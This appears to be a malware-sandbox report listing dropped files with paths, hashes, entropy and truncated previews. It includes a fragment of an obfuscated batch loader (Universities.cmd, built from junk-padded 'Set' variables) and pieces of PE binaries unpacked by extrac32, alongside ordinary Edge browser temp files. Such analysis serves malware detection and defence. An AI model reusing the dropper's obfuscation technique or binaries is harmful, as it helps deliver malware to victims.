Preview:	Set Entity=F..xRPxSoutheast-Gazette-Norman-Similar-Placed-..nqPartially-Approved-Prize-Teenage-Arlington-Tony-Ecuador-Demonstration-..MFMil-Began-Moving-Entire-Builder-Solution-Lender-..qscRHindu-Feels-Meditation-Diagram-Xl-Almost-Measurements-Travis-Fastest-..iZIgnored-Communication-Nike-Christ-Revelation-Asset-Scale-..Set Applicant=5..RDcMagnetic-Fell-..uUiiEncourage-Solutions-Powell-Romania-..zTsModification-Holdem-Gcc-Worldcat-..ZDAssociate-..JOGLaunch-Jerusalem-Ons-Blowjobs-Cdt-Horny-Was-Missile-..JsThought-..Set Lasting=I..hgIrs-Array-Rent-Spring-Page-Coral-..JUuTh-Others-Heated-Adjustments-Pools-Levels-Prayers-..cmRequire-Crystal-Equipped-Confidentiality-..UpViking-Lenders-..bBdQEditorials-Speaks-Ware-Ran-Him-Ja-Viewing-Rap-..Set Except=b..ArAirline-..yyScout-Advertisements-Acer-Compression-..WCGQSubdivision-Illustration-Player-Dealer-Extended-..DZWMem-Pens-Screensavers-Processed-Places-..pqNnAntibodies-Brave-Troubleshooting-Side-Produces-Processor-Transport-Soa-Phpbb-..Set Carr

C:\Users\user\AppData\Local\Temp\Universities.cmd

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	ASCII text, with very long lines (1324), with CRLF line terminators
Category:	dropped
Size (bytes):	25996
Entropy (8bit):	5.107460408611384
Encrypted:	false
SSDEEP:	768:3lDGu1PMj43YyiRqFm3OMBiTeSc4rPHtZKpXVaQfRIJW6i8:35Guo4oyiam3ONFTR
MD5:	EA5BB74E17F13A38198F152786E83AAD
SHA1:	39D4CD7C660A4DE6AAAB32365C4D557BEE3F1E14
SHA-256:	6D85D7C342A3BA28411FA4C69983CFCEEA5DF9C70835444052704644EDEAD06B
SHA-512:	35D659B2C0571B7BF1DE8E108F534FAF14C66A03B27C2C49A8FA07369AF7709A54351DAEC57A08142389FAB575FBAAA9109405AE82096CE69826B61FB1E096B0
Malicious:	false
Preview:	Set Entity=F..xRPxSoutheast-Gazette-Norman-Similar-Placed-..nqPartially-Approved-Prize-Teenage-Arlington-Tony-Ecuador-Demonstration-..MFMil-Began-Moving-Entire-Builder-Solution-Lender-..qscRHindu-Feels-Meditation-Diagram-Xl-Almost-Measurements-Travis-Fastest-..iZIgnored-Communication-Nike-Christ-Revelation-Asset-Scale-..Set Applicant=5..RDcMagnetic-Fell-..uUiiEncourage-Solutions-Powell-Romania-..zTsModification-Holdem-Gcc-Worldcat-..ZDAssociate-..JOGLaunch-Jerusalem-Ons-Blowjobs-Cdt-Horny-Was-Missile-..JsThought-..Set Lasting=I..hgIrs-Array-Rent-Spring-Page-Coral-..JUuTh-Others-Heated-Adjustments-Pools-Levels-Prayers-..cmRequire-Crystal-Equipped-Confidentiality-..UpViking-Lenders-..bBdQEditorials-Speaks-Ware-Ran-Him-Ja-Viewing-Rap-..Set Except=b..ArAirline-..yyScout-Advertisements-Acer-Compression-..WCGQSubdivision-Illustration-Player-Dealer-Extended-..DZWMem-Pens-Screensavers-Processed-Places-..pqNnAntibodies-Brave-Troubleshooting-Side-Produces-Processor-Transport-Soa-Phpbb-..Set Carr

C:\Users\user\AppData\Local\Temp\Values

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	107520
Entropy (8bit):	6.681914775695173
Encrypted:	false
SSDEEP:	1536:/u2IwNnPEBiqXv+G/UXT6TvY464qvI932eOypvcLSDOSpZ+Sh+I+FrbCyI7P4Cx3:rcBiqXvpgF4qv+32eOyKODOSpQSAU4CR
MD5:	DED93E90F58E2C9626A72ED4BA4404C2
SHA1:	B8422E7D6714EBE06F2E0187FC3B50DB32CD9A40
SHA-256:	5E95B7F0F61956416E514698EE7BC6ADEFAAF321276940B947EA4FCE7B2DF28D
SHA-512:	C7E0D00B1D286CED2D4598865F16A4EBD038295F176690421574D180CBE41E709AF0808FF768D4E6F8C4F7691A1BC762B8CDF6B604DEF6742F13F2A255340A1E
Malicious:	false
Preview:	u.......I...Y..t.3.@..3..M.3.^.....].j.h..L..3....e..j..Y...Y.e...5..L.....35d.M...u..E.............@....u.j..h...Y.j.h .L......e..j......Y.e...5..L.....35d.M...u..u.. ...Y.d.M..E.................u.j......Y.h.M...U..E...t....t............."......].h.M...]..U..E..M.SV3..W8].t.j-ZCf...p......3..u...BW...w..B0f.....C..t.;].r.;].r..E.3.f.....j"^.0....... 3.f.....f.....f.....f.....;.r.3._^[]..U.....M.3..U.S.].V..E.W8E.t.j-Xf...s.3.@..E......}..u.j..u.RQ.....M...E..]...v...W....0f.....G..u...t.;}.r.;}..}.r..E.3.f......j"^.0........ 3.f.....f.....f.....f.....;.r.3._^[..]..U..M.V..u....j.^.0.......<.U...t.3.8E.f.....@;.w..y...j"..u..F..."w..u.VRQ.u..[......^]..U..Q3..}..u.9E...\|.9E.s..E.....E..u..u.j..u..u..u......E......]..U..Q.}..u..}...E..\|..E...u..u.j..u..u.......E......]..U..Q.}..u..}...E..\|..E...u..u..u..u..u...........]..U..U.V.u.W..:...+.u.+.f..t......:....+.t._^..y....].3......]..U..E...t...]..t....t..}.....w..u..}.....w.2.]..U..E...t..

C:\Users\user\AppData\Local\Temp\Voltage

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	56320
Entropy (8bit):	6.527794284823335
Encrypted:	false
SSDEEP:	1536:peoMmOrrHL/uDoiouK+r5bLmbZzW9FfTubb1/Dde6YFI:peoMmOqDoioO5bLezW9FfTut/Dde6uI
MD5:	8EFBDA5BB6164A66A1F120D8930DA11B
SHA1:	A1015E9D7078A246BE522AC4B35F52A607C17782
SHA-256:	9104124AE4AD1D8C695959C01373D95E256CC15F71425B08D1F62CEC180AC6F2
SHA-512:	C5D98D8D55265ACA328B37018A836652DD2C9926C479950B9BF1217DB761FEC2D992E5DAF64EC82F3322F891F2A2909FB2D78A0AD197458FE928B3F369C33B2F
Malicious:	false
Preview:	.......A..B..A..B..A...B.S...E.P.Hr....u<...4@...&..F........H..\|9...T9.t..R8.E..B..\|9...D9.t..@8.@.._^3.[]...U.......V.u.W...N....x..t@.u.....?...&.3.B.V....H..\|9...D9.t..@8.P..\|9...D9.t..@8.@........L$...~..rL.I.j)......u>.j"......D$.y0.u....j?...&..F........H..\|9...D9.t..@8.@......F..L$..d$...p.. q...\|$..t$.L$..."...L$..p...?...t$..u..D$......F....x..u.....3..t$..D$.j..u.PP.[.....Q..\|:...L:.t..I8.A..\|:...D:.t..@8.L$..@...>.._3.^..]...U..E.....P.SVW.....y..t>.u....>..3.3.A...N....P..D:.8\:.t..@8.H..D:.8\:.t..@8.X.......x.........r.3.M.]..]..]...p...}..t..M...!...M.p...>...E......u.E..@....x..u.......E.P.E.P.E.P..Y...u...E...=...E...u3.F..........P..L:.8\:.t..I8.E..A..D:.8\:.t..@8.X....F........M..=...".y..u..9..3..u......s=...F......>_^3.[....U..E.VW.}...@.....x..t8.B=...'.3.B.W....H..\|1...D1.t..@8.P..\|1...D1.t..@8.@.......p...=...G......7_3.^]...U.......S.].VW...K....x..t@.u.....<...&.3.A.N....P..\|:...D:.t..@8.H..D:..\|:..t..@8.@........L$...{..rW.I.j)......uI.

C:\Users\user\AppData\Local\Temp\Wagon

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	1606
Entropy (8bit):	4.619196058375986
Encrypted:	false
SSDEEP:	24:hyGS9PvCA433C+sCNC1skNkvQfhSHQU2L55e1yb/uBx39lt6Y:a9n9mTsCNvEQH5O5U1nPf
MD5:	ACEB4987EA23E89DC0FF759872B4150B
SHA1:	D0AFEE14CEB4CD5B5B8A312FC59375099915A415
SHA-256:	E5C79F935DF843F966F156B4AF4F8705F43B51107FF046272BFBCCBF2914BE94
SHA-512:	26D1D78914E018BFA54BE1BF347C1265E2B3009A1C988E43AC499644770A6B771DD427D0CF5C89C902E3728967FEB6E96493F37DA34C3BA8CFD86DE8F9FDA253
Malicious:	false
Preview:	Constitution........................@...............................................!..L.!This program cannot be run in DOS mode....$.........;..h..h..hX;1h..hX;3hq..hX;2h..hr..h..h...i...h...i...h...i...h..Ch..h..Sh..h..h..hI..i...hI..i..hI.?h..h.Wh..hI..i..hRich..h........PE..L......b.........."...............................@..................................k....@...@.......@.........................\|....P..h............N..X&...0..tv...........................C..........@............................................text............................... ..`.rdata..............................@..@.data....p.......H..................@....rsrc...h....P......................@..@.reloc..tv...0...x..................@..B....................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\cf49a121-0a88-4ff0-b670-2701138042f3.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1366x720, components 3
Category:	dropped
Size (bytes):	206855
Entropy (8bit):	7.983996634657522
Encrypted:	false
SSDEEP:	3072:5WcDW3D2an0GMJGqJCj+1ZxdmdopHjHTFYPQyairiVoo4XSWrPoiXvJddppWmEI5:l81Lel7E6lEMVo/S01fDpWmEgD
MD5:	788DF0376CE061534448AA17288FEA95
SHA1:	C3B9285574587B3D1950EE4A8D64145E93842AEB
SHA-256:	B7FB1D3C27E04785757E013EC1AC4B1551D862ACD86F6888217AB82E642882A5
SHA-512:	3AA9C1AA00060753422650BBFE58EEEA308DA018605A6C5287788C3E2909BE876367F83B541E1D05FE33F284741250706339010571D2E2D153A5C5A107D35001
Malicious:	false
Preview:	......Exif..II.................Ducky.......2......Adobe.d...........................................................#"""#''''''''''..................................................!! !!''''''''''........V.."....................................................................................!1..AQ..aq."2....R..T....Br.#S.U..b..3Cs...t6.c.$D.5uV...4d.E&....%F......................!1..AQaq....."2......BRbr3CS....#..4.............?......1f.n..T......TP....E...........P.....@.........E..@......E.P........@........E.....P.P..A@@.E..@.P.P..AP.P..AP..@....T..AP.E..P.Z .. ....."... .....7.H...w.....t.....T....M.."... P..n.n..t5..B.P..(......................................( .................... .".... .".......(.. ."....... ....o......E.6... ....."........."J......Ah......@.@@....:@{6..wCp..3...((.(.........................@..(...."............................ ........T.......@.@@........AP.P..@.E@....E@.d.E@.@@..@.P.T..@..@..P.D...@M........EO..."...=.wCp.....R......P.@......

C:\Users\user\AppData\Local\Temp\cv_debug.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1420
Entropy (8bit):	5.425741830406631
Encrypted:	false
SSDEEP:	24:YJZ1Lx5ZVT02xv5h1E5KrL04GeO5IPdkOzL0WdM51gL0TufKk5ABP0TQI5M:YJLx5ZJ02R5h1E5Kn04GeO5IPjP0W25B
MD5:	10482A1F00BBD9D86DE3F8132744E132
SHA1:	1CC7EFFDA3BF84EB30D4C6FF4C978FEC2725931A
SHA-256:	4C45662083DBA2034120E3F4B472AED9248432A1DB5A1E5DE345A88D4DDDFF5A
SHA-512:	3F942F89EA4580D8DD7FA62B99292419687A11A8997D94BFFCC840E3071F12029232C4803124409B90AEDB09F4CDB20A940F5DD43782BEE27FA1A48CEA01B28C
Malicious:	false
Preview:	{"logTime": "1005/120508", "correlationVector":"C8N59LIkC1+APXCsitkREq","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/120513", "correlationVector":"30630A42DE424753B01B738A15F5C091","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/120513", "correlationVector":"C+MGtTSrwVk8ieGP6MKAQM","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/122027", "correlationVector":"CbQ6QhpDOUu+VMgRx3MJNy","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/122028", "correlationVector":"3AF32694099448B98751BA966EAF1B0D","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/122148", "correlationVector":"b5LqTucKaQY/Pve23sWnQb","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/122149", "correlationVector":"4E5E16A28AE44E5DA691AA61F35F486D","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/122418", "correlationVector":"ypwweM2ZI2/VdKpj9tpAlX","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/122418", "correlationVector":"9C542393

C:\Users\user\AppData\Local\Temp\d6166dc1-57e6-4b04-b0b1-06a35ae87327.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 50 x 50, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	819633
Entropy (8bit):	7.995613718457564
Encrypted:	true
SSDEEP:	12288:1XqV2SLdcc2y7kYD2Fp+HbQWnukcZSD8vCpxdJmbqNh8p1eOLIf:1aD21p4QZG8KpxdJmONh83eOLu
MD5:	01D0031C93B2AA0A46F8F2019287EE02
SHA1:	4E7E9F2638ADEEB7F6BFE277208E509D9FD5C280
SHA-256:	915CA7836E1E354AA55A5D901669D6152F22F96CAE1611ABD0EF4290AED89120
SHA-512:	AE8ABB2F7016DF6C68324B7B139A8CC5A7B1B8FE5382366829F62C2B672BD8472C9F7E072F7D47CCA7FA313E05AFEBDBD1528A9F64C3C3A340E6E47CB6071A1C
Malicious:	false
Preview:	.PNG........IHDR...2...2......?......gAMA......a.... cHRM..z&..............u0...`..:....p..Q<....eXIfMM..............................J...........R.(...........i.........Z.......H.......H.............................2...........2...........pHYs................YiTXtXML:com.adobe.xmp.....<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 6.0.0">. <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">. <rdf:Description rdf:about="". xmlns:tiff="http://ns.adobe.com/tiff/1.0/">. <tiff:Orientation>1</tiff:Orientation>. </rdf:Description>. </rdf:RDF>.</x:xmpmeta>..^......IDATh..Z.t\.y.f.fF.b$.....2.%.0`...qR..&.J..4...a+1.p....z ...J....p @h....W..E.b-3...w.<i$.b..........+.S.Ip....\n...7..#........m.......s....3~..D.nn.,.y.Q..@eA5f.7`F.L.e.#3#.nX..D.n...n.U.e.g.\H...>IW.s.s..!.D.r[.K.....-k.r..x...@.(..<O6<n.D..r.TmD.$c.'z..A....../..?@]Y.....2...d....J...+.t=.l.}.!.RH.I..H`..xo..X..)...e.. c..n#..d...p..Bz.....(.$....4E:.L.

C:\Users\user\AppData\Local\Temp\dc38cbd2-35cf-4791-bb05-0276f8ae235c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 135363
Category:	dropped
Size (bytes):	76326
Entropy (8bit):	7.9961120748813075
Encrypted:	true
SSDEEP:	1536:hS5Vvm808scZeEzFrSpzBUl4MZIGM/iysAGz8vBBrYunau6wp:GdS8scZNzFrMa4M+lKqeu/nr
MD5:	01E352D35675990A139199DD86B38AAC
SHA1:	E16163C81E5F36B3B819AA0A63BFA63D88548A91
SHA-256:	148CDE42D38C62C1A1E8B8D3D4BD8830F0F8C2DC684E3C59B0A510E31011CA4A
SHA-512:	75A58FFAD6E3E0546268CC863AE382B5429795D8BCED64BAE2D06BCEEB6C2E37BD656A3E335EB61B521888B76913F2D0281F8C9C081FF8637307AE5934D98C8B
Malicious:	false
Preview:	...........m{..(.}...7.\...N.D.w..m..q....%XfL.I.ql..;/.....s...E...0....`..A..[o^.^Y...F_.'..."L...^.......Y..W..l...E0..YY...:.&.u?....J..U<.q."...p.ib:.g..^.q.mr.....^&.{.E.....,EAp.q.......=.=.....z^.,d.^..J.R..zI4..2b?.-D5/.^...+.G..Y..?5..k........i.,.T#........_DV....P..d2......b\..L....o....Z.}../....CU.$.-..D9`..~......=....._.2O..?....b.{...7IY.L..q....K....T..5m.d.s.4.^... ..~<..7~6OS..b...^>.......s..n....k."..G.....L...z.U...... ... .ZY...,...kU1..N...(..V.r\$..s...X.It...x.mr..W....g........9DQR....*d......;L.S.....G... .._D.{.=.zI.g.Y~...`T..p.yO..4......8$..v.J..I.%..._.d.[..du5._._...?\..8.c.....U...fy.t....q.t....T@.......:zu..\,.!.I..AN_.....FeX..h.c.i.W.......(.....Y..F...R%.\..@.. 2(e,&.76..F+...l.t.$..`...........Wi.{.U.&(.b}...}.i..,...k....!..%...&.c..D-."..SQ.......q9....)j....7.".N....AX...).d./giR....uk.....s.....^...........:...~......(hP..K.@.&..?.E0:+D\|9...U.q.cu..)t{.e...X...{.....z......LL&I6.=.

C:\Users\user\AppData\Local\Temp\ec0a0838-1de0-43ec-9aa2-982297f5933e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\scoped_dir5832_1018108845\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	5.8889033066924155
Encrypted:	false
SSDEEP:	48:Pxpr7Xka2NXDpfsBJODI19Kg1JqcJW9O//JE3ZBDcpu/x:L3XgNSz9/4kIO3u3Xgpq
MD5:	738E757B92939B24CDBBD0EFC2601315
SHA1:	77058CBAFA625AAFBEA867052136C11AD3332143
SHA-256:	D23B2BA94BA22BBB681E6362AE5870ACD8A3280FA9E7241B86A9E12982968947
SHA-512:	DCA3E12DD5A9F1802DB6D11B009FCE2B787E79B9F730094367C9F26D1D87AF1EA072FF5B10888648FB1231DD83475CF45594BB0C9915B655EE363A3127A5FFC2
Malicious:	false
Preview:	[.. {.. "description": "treehash per file",.. "signed_content": {.. "payload": "eyJpdGVtX2lkIjoiam1qZmxnanBjcGVwZWFmbW1nZHBma29na2doY3BpaGEiLCJpdGVtX3ZlcnNpb24iOiIxLjIuMSIsInByb3RvY29sX3ZlcnNpb24iOjEsImNvbnRlbnRfaGFzaGVzIjpbeyJmb3JtYXQiOiJ0cmVlaGFzaCIsImRpZ2VzdCI6InNoYTI1NiIsImJsb2NrX3NpemUiOjQwOTYsImhhc2hfYmxvY2tfc2l6ZSI6NDA5NiwiZmlsZXMiOlt7InBhdGgiOiJjb250ZW50LmpzIiwicm9vdF9oYXNoIjoiQS13R1JtV0VpM1lybmxQNktneUdrVWJ5Q0FoTG9JZnRRZGtHUnBEcnp1QSJ9LHsicGF0aCI6ImNvbnRlbnRfbmV3LmpzIiwicm9vdF9oYXNoIjoiVU00WVRBMHc5NFlqSHVzVVJaVTFlU2FBSjFXVENKcHhHQUtXMGxhcDIzUSJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJKNXYwVTkwRmN0ejBveWJMZmZuNm5TbHFLU0h2bHF2YkdWYW9FeWFOZU1zIn1dfV19",.. "signatures": [.. {.. "header": {.. "kid": "publisher".. },.. "protected": "eyJhbGciOiJSUzI1NiJ9",.. "signature": "UglEEilkOml5P1W0X6wc-_dB87PQB73uMir11923av57zPKujb4IUe_lbGpn7cRZsy6x-8i9eEKxAW7L2TSmYqrcp4XtiON6ppcf27FWACXOUJDax9wlMr-EOtyZhykCnB9vR

C:\Users\user\AppData\Local\Temp\scoped_dir5832_1018108845\CRX_INSTALL\content.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8031), with no line terminators
Category:	dropped
Size (bytes):	9815
Entropy (8bit):	6.1716321262973315
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zEScQZBMX:+ThBVq3npozftROQIyVfjRZGB365Ey97
MD5:	3D20584F7F6C8EAC79E17CCA4207FB79
SHA1:	3C16DCC27AE52431C8CDD92FBAAB0341524D3092
SHA-256:	0D40A5153CB66B5BDE64906CA3AE750494098F68AD0B4D091256939EEA243643
SHA-512:	315D1B4CC2E70C72D7EB7D51E0F304F6E64AC13AE301FD2E46D585243A6C936B2AD35A0964745D291AE9B317C316A29760B9B9782C88CC6A68599DB531F87D59
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir5832_1018108845\CRX_INSTALL\content_new.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8604), with no line terminators
Category:	dropped
Size (bytes):	10388
Entropy (8bit):	6.174387413738973
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
MD5:	3DE1E7D989C232FC1B58F4E32DE15D64
SHA1:	42B152EA7E7F31A964914F344543B8BF14B5F558
SHA-256:	D4AA4602A1590A4B8A1BCE8B8D670264C9FB532ADC97A72BC10C43343650385A
SHA-512:	177E5BDF3A1149B0229B6297BAF7B122602F7BD753F96AA41CCF2D15B2BCF6AF368A39BB20336CCCE121645EC097F6BEDB94666C74ACB6174EB728FBFC43BC2A
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir5832_1018108845\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	962
Entropy (8bit):	5.698567446030411
Encrypted:	false
SSDEEP:	24:1Hg9+D3DRnbuF2+sUrzUu+Y9VwE+Fg41T1O:NBqY+6E+F7JO
MD5:	E805E9E69FD6ECDCA65136957B1FB3BE
SHA1:	2356F60884130C86A45D4B232A26062C7830E622
SHA-256:	5694C91F7D165C6F25DAF0825C18B373B0A81EA122C89DA60438CD487455FD6A
SHA-512:	049662EF470D2B9E030A06006894041AE6F787449E4AB1FBF4959ADCB88C6BB87A957490212697815BB3627763C01B7B243CF4E3C4620173A95795884D998A75
Malicious:	false
Preview:	{.. "content_scripts": [ {.. "js": [ "content.js" ],.. "matches": [ "https://chrome.google.com/webstore/" ].. }, {.. "js": [ "content_new.js" ],.. "matches": [ "https://chromewebstore.google.com/" ].. } ],.. "description": "Edge relevant text changes on select websites to improve user experience and precisely surfaces the action they want to take.",.. "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu06p2Mjoy6yJDUUjCe8Hnqvtmjll73XqcbylxFZZWe+MCEAEK+1D0Nxrp0+IuWJL02CU3jbuR5KrJYoezA36M1oSGY5lIF/9NhXWEx5GrosxcBjxqEsdWv/eDoOOEbIvIO0ziMv7T1SUnmAA07wwq8DXWYuwlkZU/PA0Mxx0aNZ5+QyMfYqRmMpwxkwPG8gyU7kmacxgCY1v7PmmZo1vSIEOBYrxl064w5Q6s/dpalSJM9qeRnvRMLsszGY/J2bjQ1F0O2JfIlBjCOUg/89+U8ZJ1mObOFrKO4um8QnenXtH0WGmsvb5qBNrvbWNPuFgr2+w5JYlpSQ+O8zUCb8QZwIDAQAB",.. "manifest_version": 3,.. "name": "Edge relevant text changes",.. "update_url": "https://edge.microsoft.com/extensionwebstorebase/v1/crx",.. "version": "1.2.1"..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5832_1018108845\ec0a0838-1de0-43ec-9aa2-982297f5933e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\scoped_dir5832_1028233927\796715b3-6804-4b8f-9a13-ae64efbd46d4.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	154477
Entropy (8bit):	7.835886983924039
Encrypted:	false
SSDEEP:	3072:edP3YiyHk53xr3zWwaFYgn5JFug0HjaHNK7XeSD/r/pLbWNiOAo1np:edPYJHAzyVu7HjacuSD/rBPBOJnp
